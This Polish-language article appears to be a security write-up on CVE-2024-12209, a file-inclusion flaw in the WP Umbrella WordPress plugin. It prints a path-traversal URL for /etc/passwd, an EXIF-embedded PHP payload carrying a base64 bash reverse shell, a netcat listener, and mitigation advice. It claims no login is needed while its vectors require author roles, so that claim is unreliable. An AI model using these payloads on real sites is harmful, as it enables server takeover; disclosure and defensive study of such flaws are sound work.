Powrót do strony głównej

LFI RCE w WP Umbrella CVE-2024-12209

W WP Umbrella odkryto podatność LFI CVE-2024-12209 (CVSS 9.8), prowadzącą do RCE. Omówiono dwa wektory eksploatacji: bezpośredni path traversal i iniekcja PHP przez EXIF w pliki medialne. Zalecenia ochronne obejmują aktualizację i WAF.

RCE przez LFI w WP Umbrella: pełna analiza CVE-2024-12209
Advertisement 728x90

# Krytyczna luka LFI w WP Umbrella umożliwia RCE na stronach WordPress

W pluginie WP Umbrella, używanym na ponad 30 000 stronach WordPress, odkryto lukę LFI o ocenie CVSS 9.8 (CVE-2024-12209). Dotyczy ona endpointu umbrella-restore poprzez parametr filename, umożliwiając nieautoryzowanym użytkownikom zdalne wykonanie kodu (RCE) bez uwierzytelniania.

Plugin służy do centralnego monitorowania i zarządzania wieloma stronami WordPress, co czyni go popularnym wśród agencji i freelancerów. Luka jest wykorzystywana poprzez dynamiczne włączanie plików bez walidacji ścieżki.

Konfiguracja środowiska testowego

Do odtworzenia wymagany jest lokalny stos LAMP/XAMPP z PHP i MySQL. Instalacja WordPress:

Google AdInline article slot
cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/
sudo chown -R daemon:daemon /opt/lampp/htdocs

Dalej uruchom instalator pod adresem http://127.0.0.1/wordpress. Zainstaluj plugin WP Umbrella w podatnej wersji.

Mechanizm LFI w umbrella-restore

Luka wynika z braku sanitizacji parametru filename w funkcjach PHP include/require. Atakujący może podać ścieżkę do dowolnego pliku na serwerze.

Wektor 1: Bezpośrednie odczytanie plików systemowych (rola „Współautor”)

Dla roli bez praw do przesyłania mediów stosowany jest obejście poprzez path traversal:

Google AdInline article slot
https://wp-dev.ddev.site/?umbrella-restore=1&filename=../../../../../../etc/passwd

Pozwala to wyświetlić zawartość /etc/passwd bez dodatkowych uprawnień.

Wektor 2: RCE poprzez wstrzyknięcie do metadanych EXIF (rola „Autor”)

  • Utwórz plik JPG z payloadem PHP w komentarzu EXIF:
exiftool -Comment="<?php system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash')?>" name.jpg
  • Prześlij plik przez panel administracyjny: Media → Dodaj nowe.
  • Skopiuj URL przesłanego pliku, np. /wp-content/uploads/2024/12/maxresdefault.jpg.
  • Uruchom nasłuchiwanie Netcat:
nc -lvnp 4444
  • Wykorzystaj LFI:
http://localhost/?umbrella-restore=1&filename=wp-content/uploads/2024/12/maxresdefault.jpg

Payload jest wykonywany, ustanawiając reverse shell na porcie 4444.

Zalecenia dotyczące ochrony

  • Zaktualizuj plugin WP Umbrella do wersji z poprawką.
  • Wdróż WAF z regułami przeciwko path traversal (ModSecurity OWASP CRS).
  • Wyłącz dostęp do umbrella-restore dla nieautoryzowanych użytkowników.
  • Użyj open_basedir w php.ini do ograniczenia dostępu do systemu plików.
  • Regularnie skanuj pod kątem LFI za pomocą Burp Suite lub Nuclei.

Co ważne

  • Luka CVSS 9.8 umożliwia RCE bez uwierzytelniania na ponad 30 000 stronach.
  • Dwa wektory: bezpośredni LFI oraz wstrzyknięcie przez EXIF w przesłane pliki multimedialne.
  • Wykorzystanie wymaga tylko dostępu do frontendu, roli „Współautor” lub wyższej.
  • Poprawka jest obowiązkowa; bez niej możliwy jest przejęcie serwera i wyciek danych.
  • Testuj w izolowanym środowisku, unikaj produkcji.

— Editorial Team

Google AdInline article slot
Advertisement 728x90

Czytaj dalej